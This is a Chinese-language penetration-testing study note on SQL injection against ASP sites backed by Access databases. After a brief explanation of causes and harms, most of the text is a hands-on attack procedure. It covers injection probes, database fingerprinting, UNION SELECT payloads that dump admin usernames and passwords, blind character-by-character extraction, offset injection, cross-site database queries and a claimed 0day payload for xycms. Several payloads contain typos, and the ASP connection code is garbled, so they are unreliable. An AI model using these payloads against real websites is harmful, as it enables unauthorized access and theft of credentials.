滲透測試學習 八、 數據庫漏洞


 Access數據庫漏洞分析

  大綱:注入漏洞分析  Access數據庫注入詳解

注入漏洞分析

  網站分類

    靜態網頁:html或htm,是種靜態的網頁格式,不需要服務器解析其中的腳本,由瀏覽器解析顯示。

    特點:

      1、不依賴數據庫

      2、靈活性差,制作、更新、維護麻煩

      3、交互性較差,在功能方面有很大的限制

      4、安全,不存在SQL注入漏洞

    動態網頁:asp、aspx、php、isp等,有相應的腳本引擎來解釋執行,根據指令生成靜態網頁。

    特點:    

      1、依賴數據庫

      2、靈活性好,維護簡便

      3、交互性好,功能強大

      4、有安全風險,肯能存在SQL注入漏洞

常見的數據庫

  微軟的:Access數據庫  MSsql數據庫

  MySQL數據庫  oracle  postgresql(國外常用的)  Db2 、、、

網站訪問模型

  

漏洞成因

  注入漏洞是怎么形成的?

數據與代碼沒有嚴格的分離;用戶提交的參數數據沒有充分的檢查過濾,也就是說,被帶入到SQL命令中,改變了原有SQL命令的語義,並且成功的被數據庫指向。

常見的注入流程

注入危害

  SQL注入的定義:所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后台數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句

得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊.

   SQL注入的危害,包括不僅限於:

    1、數據庫信息的泄露:數據庫中存放的用戶的隱私信息的泄露

    2、網頁篡改:通過操作數據庫對特定的網頁進行篡改

    3、網站被掛馬,傳播惡意軟件:修改數據庫一些字段的值,嵌入網馬連接,進行掛馬攻擊

    4、數據庫被惡意操作:數據庫服務器被攻擊,數據庫的系統管理員賬戶被篡改

    5、服務器被遠程控制,安裝后門:經由數據庫服務器提供的操作系統支持,讓黑客得以修改控制操作系統

    6、破壞硬盤數據,癱瘓全部系統

    一些類型的數據庫系統能讓SQL操作文件系統,這又會是危害進一步擴大。

Access數據庫注入詳解

  介紹:Microsoft Office Access是由微軟發布的關系數據庫管理系統。它結合了 MicrosoftJet Database Engine 和 圖形用戶界面兩項特點,是 Microsoft Office 的系統程序之一。

Microsoft Office Access是微軟把數據庫引擎的圖形用戶界面和軟件開發工具結合在一起的一個數據庫管理系統。它是微軟OFFICE的一個成員, 在包括專業版和更高版本的office版本里面被單獨出售。2018年9月25日,最新的微軟Office Access 2019在微軟Office 2019里發布。

MS ACCESS以它自己的格式將數據存儲在基於Access Jet的數據庫引擎里。它還可以直接導入或者鏈接數據(這些數據存儲在其他應用程序和數據庫)。

軟件開發人員和數據架構師可以使用Microsoft Access開發應用軟件,“高級用戶”可以使用它來構建軟件應用程序。和其他辦公應用程序一樣,ACCESS支持Visual Basic宏語言,它是一個面向對象的編程語言,可以引用各種對象,包括DAO(數據訪問對象),ActiveX數據對象,以及許多其他的ActiveX組件。可視對

象用於顯示表和報表,他們的方法和屬性是在VBA編程環境下,VBA代碼模塊可以聲明和調用Windows操作系統函數。

  優勢:提高速度,減少代碼量

  缺陷:

    1、數據庫過大時,大概達到100M左右的時候性能會下降,容易出現假死等情況

    2、容易出現各種因數據庫刷寫頻率過快二引起的數據庫問題

    3、Access數據庫安全性比不上其他類型的數據庫

    4、Access論壇大了以后就很容易出現數據庫方面的問題,當論壇數據庫達到50M以上,帖子5萬左右,在線人數100人左右的時候,論壇基本上就旨在處理數據庫,這時可能就會出現數據庫緩慢的情況

  ASP鏈接access數據庫的代碼

"driver={microsoft access driver(*.mdb)};dnq=*.mdb;uid=admin;pwd=pass;"
din conn
set conn=server.createobject("adodb.connection")
conn.open "provider=Micofoft.ACE.OLEDB.Do;"&"datasource="&server.mappath("bbs.mdb")"

數據庫文件打開工具

  數據庫后綴  *.mdb

  常用打開工具  輔臣數據庫瀏覽器  破障瀏覽器

數據庫查詢分析

  http://eweb55.editor.com/showshop.asp?id=19

  在查詢時,可以在后面加上 and 1=1(回顯正常)  and 1=2(報錯)  進行驗證,在網站存在waf時,也可以 id=19-0(回顯正常)  id=19/(報錯)  進行驗證

Access數據庫注入原理

  漏洞判斷

    判斷注入點:and 1=1  and 1=2  /  -0  .0  .1  '

  判斷數據庫注入

    and exsits (select * from msysobjects)>0   報錯時會顯示access數據庫

    and exsits (select * from sysobjects)>0   報錯時會顯示sqlsever數據庫

  判斷數據庫表

    and exsits (select * from admin)  返回正常時存在admin表,不正常時不存在admin表

  判斷數據庫列名

    and exsits (select admin from admin)   返回正常時存在admin列,不正常時不存在admin列

  聯合查詢

    SQL-->Union select statement(火狐工具)

    http://eweb55.editor.com/showshop.asp?id=19 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from admin_user

    聯合查詢前后語句一起查詢,前面查詢的是數字類型,如果后面查詢輸出的結果與全面的類型不匹配,那就是說不匹配的部分就是字符型(根據頁面回顯的錯誤部分)

    http://eweb55.editor.com/showshop.asp?id=19 UNION SELECT 1,admin,3,password,5,6,7,8,9,10,11,12,13,14 from admin_user(不一定是在2和4上,只要是報錯出來的字符類型的列上,都可以爆出來)

Access注入

  判斷字符長度  order by 20

番外

判斷賬戶密碼長度

  and (select len(admin) from admin)=5 返回正常說明用戶名長度就是5

  and (select len(password) from admin)=5 返回正常說明密碼長度就是5

猜解管理員賬號的第一個數據

  and (select top 1 asc (mid(admin,1,1)) from admin) >100  返回正常說明大於,不正常說明小於

  and (select top 1 asc (mid(admin,1,1)) from admin) >50    返回正常說明大於,不正常說明小於

  and (select top 1 asc (mid(admin,1,1)) from admin) =97    返回正常說明就是97--->a,不正常說明就不是

  以此類推,往下猜解

判斷管理員的第二數據

  and (select top 1 asc (mid(admin,2,1)) from admin) >100

判斷管理員的第三個數據

  and (select top 1 asc (mid(admin,3,1)) from admin) >100

對於管理員密碼的判斷方法與上面一樣

  and (caselect top 1 asc (mid(password,1,1)) from admin) >100

其實我們常用的工具就是以這種方法進行猜解的

Access數據庫高級玩法

  偏移注入(隨機報出某一列的內容)

    主要是用來解決表名已經猜到,列名猜不到的情況。

    http://eweb55.editor.com/showshop.asp?id=19 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

    用*代替列,不斷地從后往前減,直到返回正常,*代表了所有的admin表字段

    代入公式計算

    22-16=6(6相當於等差)  10+6*2=22  4+6*3=22

    找到第一個位置之后直接往前移動相同的個數,如果報錯,進行如下操作

    http://eweb55.editor.com/showshop.asp?id=19 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id, * from (admin as a inner join admin as b on a.id=b.id)  (如果報錯,可以刪除前面的a.id,b.id)

http://eweb55.editor.com/showshop.asp?id=19 union select 1,2,3,4,a.id,b.id ,c.id, * from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)  (依次往后加,直到得到想要的信息)

第二種方法

  1、后台登錄文件源碼,查看表單里面的參數值

  2、看網站地址鏈接上的規則

  3.是否判斷對方使用的cms程序

垮庫查詢

  條件:同服務器下的站點有注入。知道對方的站點的數據庫絕對路徑,直到對方數據庫表,表中的字段名可以用這種方法來垮庫查詢

  絕對路徑:D:/wwwroot/...*.mdb asa.asp

  e.g

    a是目標站點,b是存在注入的站點;a,b是同服務器的站點,admin是數據庫中的表,user是數據庫中admin表的字段,password是數據庫中admin表的字段

http://www.xxx.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\1\Datebases\xycms.mdb].admin

挖局0day

  xycms

  通殺0day

  union select 1.admin,3,4,password,6,7 from admin,user

 

2019-04-25  13:58:42


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM